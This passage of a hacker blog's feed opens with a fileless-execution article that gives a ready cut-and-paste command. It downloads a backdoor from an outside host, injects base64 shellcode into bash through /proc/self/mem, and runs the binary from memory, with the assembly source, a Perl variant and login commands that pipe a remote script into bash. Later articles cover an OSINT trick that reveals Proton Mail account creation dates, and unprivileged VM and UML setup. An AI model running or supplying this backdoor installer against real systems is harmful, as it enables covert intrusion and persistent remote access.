<li><p><strong>Creating a memory backed file descriptor:</strong>  <a target="_blank" href="https://man7.org/linux/man-pages/man2/memfd_create.2.html">memfd_create(2)</a> syscall is used to create a file descriptor which refers to a file that entirely lives in the RAM and does not depend on a persistent storage[4], This can be used to (temporarily) store a file that we wish to execute.</p>
</li>
<li><p><strong>Modifying process image by writing to</strong> <strong>/proc/self/mem</strong>: <code>/proc/self/mem</code> provides a simple file interface to the process memory, we can leverage this to write arbitrary shellcode to process memory, to actually have the shellcode executed we can pick a memory location held by the <a target="_blank" href="https://en.wikipedia.org/wiki/Program_counter">Instruction Pointer</a>, so that when the CPU resumes execution of the process our shellcode is executed.</p>
</li>
</ol>
<p>Cut &amp; Paste this into the target’s shell (be warned, anyone reading this article knows the <code>SecretChangeMe</code> to log into your system. CHANGE IT.):</p>
<pre><code class="lang-bash">curl -fsSL https://thc.org/gs-demo.x86 \
| GS_SECRET=SecretChangeMe bash -c <span class="hljs-string">'cd /proc/$$;exec 4&gt;mem;base64 -d&lt;&lt;&lt;SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrD0iDwAjr5EyJ0E0x200x5EiDOAB1CUiDwAhJicTrBkiD6Ajr60iJ5UiB7BIEAABIuGtlcm5lbAAAagBQuD8BAABIiedIMfYPBUmJwLgAAAAAvwAAAABIiea6AAQAAA8FSInCSIP6AH4PuAEAAABMicdIieYPBevUuEIBAABMicdqAEiJ5moAVEiJ4kgxyU0xyU2J4kG4ABAAAA8FuDwAAAC/YwAAAA8FAAAAAAA=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]&gt;&amp;4'</span>
<span class="hljs-comment"># Then log in to your backdoored system with:</span>
<span class="hljs-comment"># S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"</span>
<span class="hljs-comment"># or: gs-netcat -i -s SecretChangeMe</span>
</code></pre>
<p>Now lets take a look at the trick itself and break it down piece by piece:</p>
<ol>
<li><p>A binary/backdoor is obtained from a external source and piped into bash's stdin.</p>
</li>
<li><p>A Bash process is started. The command line <code>-c</code> contains 3 commands, separated by <code>;</code> and executed in sequence by Bash:</p>
<ol>
<li><p>Bash changes to <code>/proc/$$</code> (same as <code>/proc/self</code> but shorter).</p>
</li>
<li><p>A file descriptor (4) is created.</p>
</li>
<li><p>The last command contains the sub-command <code>$(cat syscall| cut -f9 -d” “)</code>, which Bash needs to execute before calling dd or base64. Bash executes this sub-command by forking and waiting in wait(2)-syscall for the forked child to complete. While waiting, the Instruction Pointer of the parent Bash is available through <code>/proc/$$/syscall</code> - it’s the address of the wait(2)-syscall-stub somewhere inside the libc.</p>
</li>
<li><p>The forked child outputs this Instruction Pointer. Later, <code>dd</code> will use this address as its command-line-option to overwrite the wait()-syscall-stub (e.g. the .text segment somewhere inside the libc).</p>
</li>
<li><p>A base64 encoded shellcode is decoded and piped to dd.</p>
</li>
<li><p>dd then seeks to the memory location from step 4, and then copies the shellcode from stdin to the process’s memory (using the opened file descriptor from step 2).</p>
</li>
<li><p>Bash waits again in the same <a target="_blank" href="https://man7.org/linux/man-pages/man2/waitid.2.html">wait(2)</a>-syscall for base64 and dd to finish executing. This is important.</p>
</li>
<li><p>Little does Bash know that while waiting, its own .text segment has been overwritten with our shellcode - at the location where Bash is waiting.</p>
</li>
</ol>
</li>
</ol>
<p>3. Once the shellcode is written to process memory and the last program executed by bash (i.e dd) exits, control is returned back to bash. Execution resumes from the memory location held in the Instruction Pointer, except we have overwritten that location with our shellcode. It is our shellcode that is being executed now.</p>
<p>4. Now lets take at the shellcode itself and how it executes our binary:</p>
<pre><code class="lang-apache"><span class="hljs-attribute">section</span> .text
    <span class="hljs-attribute">global</span> _start

<span class="hljs-attribute">_start</span>:
    ; <span class="hljs-attribute">create</span> a buffer
    <span class="hljs-attribute">mov</span> rbp, rsp
    <span class="hljs-attribute">sub</span> rsp, <span class="hljs-number">1042</span>

    ; <span class="hljs-attribute">create</span> a memory fd
    <span class="hljs-attribute">mov</span>  rax, <span class="hljs-number">0</span>x<span class="hljs-number">6</span>c<span class="hljs-number">656</span>e<span class="hljs-number">72656</span>b    ; kernel
    <span class="hljs-attribute">push</span> <span class="hljs-number">0</span>
    <span class="hljs-attribute">push</span> rax
    <span class="hljs-attribute">mov</span> rax, <span class="hljs-number">319</span>           ; memfd_create
    <span class="hljs-attribute">mov</span> rdi, rsp           ; name - kernel
    <span class="hljs-attribute">xor</span> rsi, rsi           ; no MFD_CLOEXEC
    <span class="hljs-attribute">syscall</span>
    <span class="hljs-attribute">mov</span> r<span class="hljs-number">8</span>, rdx            ; save memfd number

<span class="hljs-attribute">loop</span>:
    <span class="hljs-attribute">mov</span> rax, <span class="hljs-number">0</span>             ; read
    <span class="hljs-attribute">mov</span> rdi, <span class="hljs-number">0</span>             ; stdin
    <span class="hljs-attribute">mov</span> rsi, rsp           ; pointer to buffer
    <span class="hljs-attribute">mov</span> rdx, <span class="hljs-number">1024</span>          ; number of bytes to read at time
    <span class="hljs-attribute">syscall</span>
    <span class="hljs-attribute">mov</span> rdx, rax           ; store no of bytes read in rdx

    ; <span class="hljs-attribute">check</span> if we reached the end of the file
    <span class="hljs-attribute">cmp</span> rdx, <span class="hljs-number">0</span>
    <span class="hljs-attribute">jle</span> exit               ; if bytes read is <span class="hljs-number">0</span>, close the file

    ; <span class="hljs-attribute">write</span> data to mem_fd
    <span class="hljs-attribute">mov</span> rax, <span class="hljs-number">1</span>
    <span class="hljs-attribute">mov</span> rdi, r<span class="hljs-number">8</span>           ; mem_fd number
    <span class="hljs-attribute">mov</span> rsi, rsp          ; buffer
    ;<span class="hljs-attribute">rdx</span> already has the amount of bytes previously read
    <span class="hljs-attribute">syscall</span>

    <span class="hljs-attribute">jmp</span> loop

<span class="hljs-attribute">exit</span>:
    ; <span class="hljs-attribute">execveat</span> the program in memfd
    <span class="hljs-attribute">mov</span>     rax, <span class="hljs-number">322</span>    ; execveat
    <span class="hljs-attribute">mov</span>     rdi, r<span class="hljs-number">8</span>     ; memfd
    <span class="hljs-attribute">push</span>    <span class="hljs-number">0</span>
    <span class="hljs-attribute">mov</span>     rsi, rsp    ; path (empty string)
    <span class="hljs-attribute">push</span>    <span class="hljs-number">0</span>
    <span class="hljs-attribute">push</span>    rsp
    <span class="hljs-attribute">mov</span>     rdx, rsp    ; ARGV (pointer to a array containing a pointer to a empty string)
    <span class="hljs-attribute">mov</span>     r<span class="hljs-number">8</span>, <span class="hljs-number">4096</span>    ; AT_EMPTY_PATH
    <span class="hljs-attribute">syscall</span>

    ; <span class="hljs-attribute">Exit</span> the program
    <span class="hljs-attribute">mov</span> rax, <span class="hljs-number">60</span>                       ; sys_exit
    <span class="hljs-attribute">mov</span> rdi, <span class="hljs-number">99</span>                       ; exit code <span class="hljs-number">99</span>
    <span class="hljs-attribute">syscall</span>
</code></pre>
<ol>
<li><p>A memory backed fd is created using memfd_create syscall.</p>
</li>
<li><p>Within the loop, contents of the binary are copied from stdin to the memory backed fd (remember - we passed the binary to bash via stdin).</p>
</li>
<li><p>Once the binary is fully copied to the memory fd, <strong>execveat</strong>[6] is used to run the binary stored in the memory fd.</p>
</li>
</ol>
<p><strong>Perl &amp; PHP variants:</strong></p>
<p>Perl has native syscall support: We do not need shellcode. There is no need to overwrite any running process memory. No need to access <code>/proc/self/mem</code> and works when ptrace is not available:</p>
<pre><code class="lang-perl">perl <span class="hljs-string">'-efor(319,279){($f=syscall$_,$",1)&gt;0&amp;&amp;last}; \
    open($o,"&gt;&amp;=".$f); \
    print$o(&lt;STDIN&gt;); \
    exec{"/proc/$$/fd/$f"}X,@ARGV'</span> -- <span class="hljs-string">"$@"</span>
<span class="hljs-comment"># Test: cat /usr/bin/uname | per '....' -a</span>
</code></pre>
<p>PHP does not allow forking. Thus we use PHP’s <code>fgets()</code> to read <code>/proc/$$/syscall</code> and overwrite the .text segment after libc’s fgets-stub. We later need to call <code>fgets()</code> again to trigger our shellcode on return from the read(2)-syscall (libc’s fgets() calls read(2)-syscall).</p>
<p><strong>Further work on the shellcode:</strong></p>
<p>Our version of the shellcode works only on x86_64 machines, there are a lot more architectures out there, we believe x86 and arm version could come in handy. we leave this as an exercise to the community. (If you end up making a version for any of the other architectures, please submit a PR <a target="_blank" href="https://github.com/hackerschoice/memexec">here</a>.</p>
<p><strong>Cases in which the trick might not work:</strong></p>
<ol>
<li><p>When access to <strong>/proc/self/mem</strong> is restricted then only the Perl variant will work (e.g. inside containers)</p>
</li>
<li><p>When SELinux or GRSecurity is present, which could possibly restrict access to memfd_create [5].</p>
</li>
</ol>
<p><strong>Prevention:</strong></p>
<p>The trick (with slight modifications) works if only ONE of either ptrace(), mmap() or memfd_create() is available [disabling ptrace will also -EPERM <code>/proc/self/mem</code>]. Likely there are many more tricks to do the same…ask your friendly Blue Team to figure it out. Good luck.</p>
<p><strong>Notes and References:</strong></p>
<ol>
<li><p>It does call mmap() but not to a location on any nonexec-mount point (which would fail) but on the memory-FD only. So we are ok.</p>
</li>
<li><p>Fileless execution by <a target="_blank" href="https://tmpout.sh/3/10.html">https://tmpout.sh/3/10.html</a>, grugq (2004) - <a target="_blank" href="https://seclists.org/bugtraq/2004/Jan/2">https://seclists.org/bugtraq/2004/Jan/2</a>, <a target="_blank" href="https://phrack.org/issues/62/8.html#article">h</a><a target="_blank" href="https://seclists.org/bugtraq/2004/Jan/2">ttps://phrack.org/issues/62/8.html#arti</a><a target="_blank" href="https://phrack.org/issues/62/8.html#article">cle</a></p>
</li>
<li><p>Well, one could still obtain snapshots of the memory.</p>
</li>
<li><p>The documentation remains silent if memfd pages can be swapped to disk.</p>
</li>
<li><p>There are reason why SELinux and GRSecurity might not want to restrict memfd usage, see : <a target="_blank" href="https://www.rapid7.com/blog/post/2019/12/24/memory-laundering-is-cleaner-better/">https://www.rapid7.com/blog/post/2019/12/24/memory-laundering-is-cleaner-better/</a>.</p>
</li>
<li><p><strong>execve</strong> could be used instead of <strong>execveat</strong>, but it would require the exact path of memory fd (ex: /proc/self/fd/4) handling strings is a mess in assembly, @skyper instead suggested the execveat trick, which can directly accept the created fd number.</p>
</li>
<li><p>We found the <strong>/proc/self/mem</strong> trick here: <a target="_blank" href="https://x.com/David3141593/status/1386678449604108289">https://x.com/David3141593/status/1386678449604108289</a></p>
</li>
<li><p><em>The</em> <strong><em>wait</em></strong>*() system call suspends execution of the calling thread until one of its children terminates.* (from the man pages).</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Discover Proton Mail registration date with one weird trick…]]></title><description><![CDATA[TL;DR: Proton Mail generates PGP key and publishes it upon account creation using Web Key Directory (WKD) standard. The key contains account creation timestamp, with second precision, which reflects the account creation date.
Proton, a privacy-orient...]]></description><link>https://iq.thc.org/discover-proton-mail-registration-date-with-one-weird-trick</link><guid isPermaLink="true">https://iq.thc.org/discover-proton-mail-registration-date-with-one-weird-trick</guid><category><![CDATA[wkd]]></category><category><![CDATA[webkeydirectory]]></category><category><![CDATA[protonmail]]></category><dc:creator><![CDATA[ValdikSS]]></dc:creator><pubDate>Fri, 17 May 2024 15:51:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1715836158891/0b59a32d-7057-47f5-9e0f-ddd2abbfc95a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>TL;DR:</strong> Proton Mail generates PGP key and publishes it upon account creation using Web Key Directory (WKD) standard. The key contains account creation timestamp, with second precision, which reflects the account creation date.</p>
<p>Proton, a privacy-oriented Swiss company providing different online services, is most known as an email provider. Proton Mail, created in 2014, was one of the first services to introduce end-to-end encryption for the messages sent between parties inside their service, and later provided support for Pretty Good Privacy (PGP), allowing it to be used for external emails en masse as well, without any convoluted configuration.</p>
<p>The service does all the setup for you:</p>
<ul>
<li><p>The PGP key is generated automatically when the account is created, so others could encrypt messages for you</p>
</li>
<li><p>Your key is published with Web Key Discovery (WKD) standard, so others could discover your key automatically before writing to you</p>
</li>
<li><p>The keys of correspondents are automatically looked up upon adding them as To: or CC: when sending a new message</p>
</li>
</ul>
<p>And all of this works nicely!</p>
<h3 id="heading-wkd"><strong>WKD</strong></h3>
<p>The Web Key Discovery (WKD) protocol is fairly simple: it allows to find the public PGP key by downloading it from your email domain name under a well-known HTTPS path /.well-known/openpgpkey/hu/, using <a target="_blank" href="http://philzimmermann.com/docs/human-oriented-base-32-encoding.txt">z-base-32</a>-encoded SHA1 hash of your email address before <code>@</code> symbol as a filename.<br />It allows the email clients to discover the keys without using keyservers, and the contents are authenticated using HTTPS encryption and validated with a domain-bounded TLS certificate.</p>
<p>However, there's one minor detail: the PGP key created on account creation includes precise timestamp of its generation date, which could be used to get more information about your account than you'd wanted to disclose, <em>even if you never used encrypted messaging</em>.</p>
<h3 id="heading-get-the-key"><strong>Get the key</strong></h3>
<p>You need a fairly recent GnuPG client or <code>gpg-wks-client</code> utility from GnuPG package:</p>
<pre><code class="lang-bash">$ gpg-wks-client --check -v digmaligma@proton.me

gpg-wks-client: public key <span class="hljs-keyword">for</span> <span class="hljs-string">'digmaligma@proton.me'</span> found via WKD
gpg-wks-client: fingerprint: 0AAC74947485BA4D6AA5DE8173A6DF56D535FD98
gpg-wks-client:     user-id: digmaligma@proton.me &lt;digmaligma@proton.me&gt;
gpg-wks-client:     created: Wed May 15 01:17:46 2024 MSK
gpg-wks-client:   addr-spec: digmaligma@proton.me
</code></pre>
<blockquote>
<p>gpg-wks-client: <strong>created: Wed May 15 01:17:46 2024 MSK</strong></p>
</blockquote>
<p>If you don't have <code>gpg-wks-client</code>, regular <code>gnupg</code> could be used instead. However, it automatically imports the key into your gnupg's keystore, which may be undesirable.</p>
<pre><code class="lang-bash">$ gpg --locate-external-keys digmaligma@proton.me

gpg: key 73A6DF56D535FD98: <span class="hljs-string">"digmaligma@proton.me &lt;digmaligma@proton.me&gt;"</span> not changed
gpg: Total number processed: 1
gpg:              unchanged: 1
pub   ed25519 2024-05-14 [SC]
      0AAC74947485BA4D6AA5DE8173A6DF56D535FD98
uid           [ unknown] digmaligma@proton.me &lt;digmaligma@proton.me&gt;
sub   cv25519 2024-05-14 [E]
</code></pre>
<p>The PGP key contain time in UTC, GnuPG uses your local time zone configured in the OS to display the information from it.</p>
<h3 id="heading-solutions">Solutions</h3>
<p>The situation with PGP metadata is not unique to Proton, the same applies for your own generated keys in any email client or manually. However, before WKD the keys weren't available as freely in public, oftentimes the parties shared their keys in a form of file attachment in the first messages of the email conversation, and not all of them were uploaded to the keyservers.</p>
<p>Proton Mail does not allow to completely remove the encryption key, nor does it allow to control whether it's being published over WKD.<br />However, you can generate your own key and import it to Proton.</p>
<p>To hide the timestamp, we could use a fake date like 1 January 2020 00:00:00 to generate our key:</p>
<pre><code class="lang-bash">Set your <span class="hljs-built_in">local</span> date and time to the desired value before running gpg
OR
use libfaketime to spoof it. Make sure to terminate gpg-agent first!

$ faketime -f <span class="hljs-string">'2020-01-01 00:00:0'</span> gpg --full-generate-key
[…]
Please select what kind of key you want:
   (1) RSA and RSA
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (9) ECC (sign and encrypt) *default*
  (10) ECC (sign only)
  (14) Existing key from card
Your selection? 9
Please select <span class="hljs-built_in">which</span> elliptic curve you want:
   (1) Curve 25519 *default*
   (4) NIST P-384
   (6) Brainpool P-256
Your selection? 1
Please specify how long the key should be valid.
         0 = key does not expire
      &lt;n&gt;  = key expires <span class="hljs-keyword">in</span> n days
      &lt;n&gt;w = key expires <span class="hljs-keyword">in</span> n weeks
      &lt;n&gt;m = key expires <span class="hljs-keyword">in</span> n months
      &lt;n&gt;y = key expires <span class="hljs-keyword">in</span> n years
Key is valid <span class="hljs-keyword">for</span>? (0) 0
Key does not expire at all
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: Digma
Email address: digmaligma@proton.me
Comment: 
You selected this USER-ID:
    <span class="hljs-string">"Digma &lt;digmaligma@proton.me&gt;"</span>

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
[…]
public and secret key created and signed.

pub   ed25519 2019-12-31 [SC]
      F7D02E55CE5C0FE51973AC9D84760D5E63B24E54
uid                      Digma &lt;digmaligma@proton.me&gt;
sub   cv25519 2019-12-31 [E]

<span class="hljs-comment"># Export private key into file</span>
$ gpg --armor --export-secret-keys Digma &gt; key.asc
</code></pre>
<p>Now navigate to <strong>Settings → All settings → Encryption and keys → Email encryption keys</strong>, select "Import key" from the drop-down menu, and import your file.</p>
<p>Make sure to tag it as primary key, as only a single key is published over WKD.</p>
<pre><code class="lang-bash">$ gpg-wks-client --check -v digmaligma@proton.me

gpg-wks-client: public key <span class="hljs-keyword">for</span> <span class="hljs-string">'digmaligma@proton.me'</span> found via WKD
gpg-wks-client: fingerprint: F7D02E55CE5C0FE51973AC9D84760D5E63B24E54
gpg-wks-client:     user-id: Digma &lt;digmaligma@proton.me&gt;
gpg-wks-client:     created: Wed Jan  1 00:00:00 2020 MSK
gpg-wks-client:   addr-spec: digmaligma@proton.me
</code></pre>
<p>Please not to forget taking zone into consideration: the time is faked for your <em>local time zone</em>! MSK time zone (UTC+3) is used in this example, which means that the key metadata has '31 Dec 2019 21:00:00 UTC'.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>This simple trick could be used to reckon more information from the Proton Mail account, which could be used as a <a target="_blank" href="https://news.ycombinator.com/item?id=39868584">bot or puppet accounts detection metric</a>, along with other possibilities, such as government-wide traffic correlation of first access to Proton services to match it with PGP creation date.</p>
<p>Proton Mail does not allow to enumerate the accounts using WKD lookups though, generating random keys for non-existent addresses.</p>
<p>Up until very recently there was a convenient web service to <a target="_blank" href="https://metacode.biz/openpgp/web-key-directory">lookup and show keys information</a>, however it's been withdrawn due to lack of time for maintenance.<br />Like the method? Go ahead and replenish your collection of notes of OSINT :)</p>
<p>👉 Like to publish an article at https://iq.thc.org? Contact us at root@proton.thc.org.</p>
]]></content:encoded></item><item><title><![CDATA[Starting a User Mode Linux/Debian-OS as an unprivileged Linux User]]></title><description><![CDATA[After reading this article you will be able to start a Debian-Linux (including Kernel) from any (unprivileged) Linux shell.
User Mode Linux (UML) is a modified Linux Kernel that the user starts just like any other Linux program. The UML-Kernel then "...]]></description><link>https://iq.thc.org/starting-a-user-mode-linuxdebian-os-as-an-unprivileged-linux-user</link><guid isPermaLink="true">https://iq.thc.org/starting-a-user-mode-linuxdebian-os-as-an-unprivileged-linux-user</guid><category><![CDATA[Linux]]></category><category><![CDATA[Security]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Thu, 28 Sep 2023 13:17:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1695906313733/0f7f6974-786d-4d07-a14f-309b0ea45f73.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>After reading this article you will be able to start a Debian-Linux (including Kernel) from any (unprivileged) Linux shell.</p>
<p>User Mode Linux (UML) is a modified Linux Kernel that the user starts just like any other Linux program. The UML-Kernel then <em>"boots"</em> a 'Guest Debian Linux' to which the user can log in as root.</p>
<p><strong>This is a great way to play around on a root-shell on an <em>isolated</em> Linux.</strong></p>
<p>Think of UML as something between Docker and a VM:</p>
<ul>
<li><p>All processes are visible on the host but 'kind of' isolated.</p>
</li>
<li><p>All processes run at near host speed (~15% slower).</p>
</li>
<li><p>All capabilities and privileges are available within the Guest OS.</p>
</li>
<li><p>Host and Guest OS must be of the same architecture (e.g. both x86_64).</p>
</li>
<li><p>Does not require access to <code>/dev/kvm</code>.</p>
</li>
</ul>
<p>Alternatively, read <a target="_blank" href="https://iq.thc.org/starting-a-vm-as-an-unprivileged-linux-user">Starting a VM as an unprivileged Linux User</a> for using a full VM instead (which will run slower but better isolated).</p>
<p>The instructions have been tested on <a target="_blank" href="https://thc.org/segfault">Segfault's Disposable Root Servers</a>.</p>
<hr />
<h2 id="heading-a-configuration">A. Configuration</h2>
<ol>
<li><h3 id="heading-set-up-uml-and-the-directory-structure">Set up UML and the directory structure:</h3>
</li>
</ol>
<pre><code class="lang-bash">[[ ! -f ~/.ssh/id_ed25519 ]] &amp;&amp; ssh-keygen -t ed25519 -N <span class="hljs-string">""</span> -f ~/.ssh/id_ed25519
mkdir uml
<span class="hljs-built_in">cd</span> uml
wget https://deb.debian.org/debian/pool/main/u/user-mode-linux/user-mode-linux_5.10um3+b1_amd64.deb
ar x user-mode-linux_5.10um3+b1_amd64.deb
rm user-mode-linux_5.10um3+b1_amd64.deb control.tar.xz debian-binary
tar -xf data.tar.xz
rm data.tar.xz
mv usr/bin/linux.uml .
mv usr/lib/uml/modules .
rm -r usr
[[ ! -f ~/.slirprc ]] &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"redir tcp 2222 22"</span> &gt;~/.slirprc
</code></pre>
<ol>
<li><h3 id="heading-download-debian-os-and-resize-the-image">Download Debian OS and resize the image:</h3>
</li>
</ol>
<pre><code class="lang-bash">wget -O debian.img https://cloud.debian.org/images/cloud/bookworm/latest/debian-12-nocloud-amd64.raw
truncate -s 8G debian.img
</code></pre>
<ol>
<li><h3 id="heading-start-debian-os-using-the-uml-linux-kernel">Start Debian OS using the UML-Linux Kernel:</h3>
</li>
</ol>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> TMPDIR=/tmp
./linux.uml \
    mem=1024M \
    root=/dev/ubda1 rw \
    ubd0=debian.img \
    systemd.unit=emergency.target
</code></pre>
<ol>
<li><h3 id="heading-configure-the-system">Configure the System</h3>
</li>
</ol>
<p>Press <code>Enter</code> when prompted to configure the system:</p>
<pre><code class="lang-bash">sed <span class="hljs-string">'/boot\/efi/d'</span> -i /etc/fstab
<span class="hljs-built_in">echo</span> <span class="hljs-string">"none /lib/modules/<span class="hljs-subst">$(uname -r)</span> hostfs /sec/root/uml/modules/<span class="hljs-subst">$(uname -r)</span> 0 2"</span> &gt;&gt;/etc/fstab
mkdir -p /lib/modules/$(uname -r)
<span class="hljs-comment"># Mount the host's /sec inside the guest OS:</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"none /mnt/host-fs hostfs / 0 2"</span> &gt;&gt;/etc/fstab
mkdir -p /mnt/host-fs
ln -s /mnt/host-fs/sec /sec <span class="hljs-comment"># segfault.net specific</span>
systemctl mask systemd-binfmt.service
systemctl <span class="hljs-built_in">disable</span> getty@tty1
systemctl <span class="hljs-built_in">enable</span> getty@tty0
ssh-keygen -A
cat &gt; /etc/netplan/90-default.yaml &lt;&lt;-<span class="hljs-string">'EOF'</span>
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      addresses: [10.0.2.15/24]
      routes:
        - to: default
          via: 10.0.2.2
          on-link: <span class="hljs-literal">true</span>
      nameservers:
        addresses: [10.0.2.3]
EOF
growpart /dev/ubda 1
resize2fs /dev/ubda1
<span class="hljs-comment"># Add an SSH Key</span>
systemctl daemon-reload
mount /mnt/host-fs
cp /mnt/host-fs/root/.ssh/id_ed25519.pub ~/.ssh/authorized_keys
poweroff
</code></pre>
<ol>
<li><h3 id="heading-create-a-shortcut-for-launching">Create a Shortcut for launching</h3>
</li>
</ol>
<pre><code class="lang-bash">cat &gt;launch.sh &lt;&lt;-<span class="hljs-string">'EOF'</span>
<span class="hljs-comment">#! /bin/sh</span>
<span class="hljs-built_in">cd</span> <span class="hljs-string">"<span class="hljs-subst">$(dirname <span class="hljs-string">"<span class="hljs-variable">$0</span>"</span>)</span>"</span> || <span class="hljs-built_in">exit</span>
<span class="hljs-built_in">export</span> TMPDIR=/tmp
<span class="hljs-built_in">exec</span> ./linux.uml mem=1024M root=/dev/ubda1 ubd0=debian.img eth0=slirp,52:54:00:00:01,/usr/bin/slirp-fullbolt
EOF
chmod +x launch.sh
</code></pre>
<hr />
<h2 id="heading-b-starting-the-uml-linux-debian-os">B. Starting the UML-Linux Debian OS</h2>
<ol>
<li><h3 id="heading-start-the-debian-os-uml-linux">Start the Debian OS UML-Linux</h3>
</li>
</ol>
<pre><code class="lang-bash">./launch.sh
</code></pre>
<p>Log in using <code>root</code> without a password or use <code>ssh -p2222 root@0</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1695907248764/340b2b97-3c21-4e3a-8eb9-a215de01675f.jpeg" alt class="image--center mx-auto" /></p>
<ol>
<li><h3 id="heading-example-install-andamp-start-docker">Example: Install &amp; start docker:</h3>
</li>
</ol>
<pre><code class="lang-bash"><span class="hljs-comment"># UML Kernel does not come with all netfilter modules.</span>
<span class="hljs-comment"># Use iptables in "legacy"-mode instead:</span>
update-alternatives --<span class="hljs-built_in">set</span> iptables /usr/sbin/iptables-legacy
update-alternatives --<span class="hljs-built_in">set</span> ip6tables /usr/sbin/ip6tables-legacy
<span class="hljs-comment"># Install docker</span>
apt update
apt install docker.io
<span class="hljs-comment"># Start 'Alpine/Linux' inside Docker, inside UML.</span>
docker run --rm -it alpine
</code></pre>
<hr />
<h2 id="heading-c-advanced-tricks">C. Advanced tricks</h2>
<ol>
<li>Using the Slirp-Console to forward ports from the host to the UML guest:</li>
</ol>
<pre><code class="lang-bash"><span class="hljs-comment"># On the UML guest:</span>
apt install telnet
<span class="hljs-comment"># Make Linux less stupid (10.0.2.0 is indeed a valid IP):</span>
iptables -t nat -I OUTPUT -p tcp -d 10.0.2.1 -j DNAT --to-destination 10.0.2.0
<span class="hljs-comment"># Access the Slirp console</span>
telnet 10.0.2.1
</code></pre>
<hr />
<p>Shoutz to <em>Matthew</em> (🫵🧠👍).</p>
]]></content:encoded></item><item><title><![CDATA[Starting a VM as an unprivileged Linux User]]></title><description><![CDATA[After reading this article you will be able to start any OS of any architecture from your (unprivileged) Linux shell (and log in as root to start (for example) Docker inside the emulated OS).
This is a great way to test or compile exploits and tools....]]></description><link>https://iq.thc.org/starting-a-vm-as-an-unprivileged-linux-user</link><guid isPermaLink="true">https://iq.thc.org/starting-a-vm-as-an-unprivileged-linux-user</guid><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><category><![CDATA[Ubuntu]]></category><category><![CDATA[Docker]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Sun, 24 Sep 2023 06:57:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1695538552037/f8c368cf-bf76-4b01-88f4-e12a3905434d.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>After reading this article you will be able to start <em>any</em> OS of <em>any</em> architecture from your (unprivileged) <a target="_blank" href="https://thc.org/segfault">Linux shell</a> (and log in as <em>root</em> to start (for example) Docker inside the emulated OS).</p>
<p><strong>This is a great way to test or compile exploits and tools.</strong></p>
<p>The instructions have been tested on <a target="_blank" href="https://thc.org/segfault"><strong>Segfault's Disposable Root Servers</strong></a>.</p>
<hr />
<p>First, we will boot an <em>Ubuntu Linux x86_64</em>, then an <em>Ubuntu Linux aarch64</em> (arm64), then an <em>Ubuntu Linux PowerPC</em> (ppc64el) and lastly an <em>OpenBSD x86_64</em>.</p>
<p><strong>Boot an AMD64 (x86_64) "Ubuntu 22.04 LTS Jammy"-Linux:</strong></p>
<pre><code class="lang-bash">[[ -z <span class="hljs-variable">$URL</span> ]] &amp;&amp; URL=<span class="hljs-string">"https://cloud-images.ubuntu.com/releases/jammy/release/ubuntu-22.04-server-cloudimg-amd64.img"</span>
IMAGE=<span class="hljs-string">"<span class="hljs-variable">${URL##*/}</span>"</span>
OS=<span class="hljs-string">"<span class="hljs-variable">${IMAGE%%-*}</span>"</span>
ARCH=<span class="hljs-string">"<span class="hljs-variable">${IMAGE##*-}</span>"</span>
ARCH=<span class="hljs-string">"<span class="hljs-variable">${ARCH%%.*}</span>"</span>
[[ <span class="hljs-variable">$ARCH</span> =~ ^[0-9]*$ ]] &amp;&amp; ARCH=<span class="hljs-string">"x86_64"</span> <span class="hljs-comment"># No ARCH in name</span>
apt-get install -y cloud-image-utils qemu-system
mkdir -p ~/.vm/<span class="hljs-string">"<span class="hljs-variable">${OS}</span>-<span class="hljs-variable">${ARCH}</span>"</span> &amp;&gt;/dev/null &amp;&amp; \
<span class="hljs-built_in">cd</span> ~/.vm/<span class="hljs-string">"<span class="hljs-variable">${OS}</span>-<span class="hljs-variable">${ARCH}</span>"</span> &amp;&amp; \
cat &gt;metadata.yaml &lt;&lt;-__EOF__
instance-id: iid-<span class="hljs-variable">${SF_HOSTNAME:-THC}</span>01
local-hostname: <span class="hljs-variable">${SF_HOSTNAME:-THC}</span>-<span class="hljs-variable">${OS}</span>-<span class="hljs-variable">${ARCH}</span>-guest
__EOF__
</code></pre>
<p>Create an SSH key and configure the VM. The host's <code>/sec</code> directory will be shared with the VM:</p>
<pre><code class="lang-bash">[[ ! -f ~/.ssh/id_ed25519 ]] &amp;&amp; ssh-keygen -t ed25519 -N <span class="hljs-string">""</span> -f ~/.ssh/id_ed25519
cat &gt;user-data.yaml &lt;&lt;-__EOF__
<span class="hljs-comment">#cloud-config</span>
users:
  - name: root
    lock_passwd: <span class="hljs-literal">false</span>
    <span class="hljs-comment"># OpenBSD: hashed_passwd: '$2b$06$mbQdo90rertzSkoBBeZCzePTMtdkx7cuOax8xv.1W5ta0tJiNAlMG'</span>
    hashed_passwd: <span class="hljs-string">'$(echo segfault | openssl passwd -6 -stdin)'</span>
    ssh_authorized_keys:
      - $(ssh-keygen -y -f ~/.ssh/id_ed25519)
bootcmd:
  <span class="hljs-comment">#FreeBSD: - sed -i "" 's/#PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config</span>
  - mkdir -p /sec
mounts:
  - [ host0, /sec, 9p ]
__EOF__
<span class="hljs-comment"># Edit this file for OpenBSD or FreeBSD</span>
</code></pre>
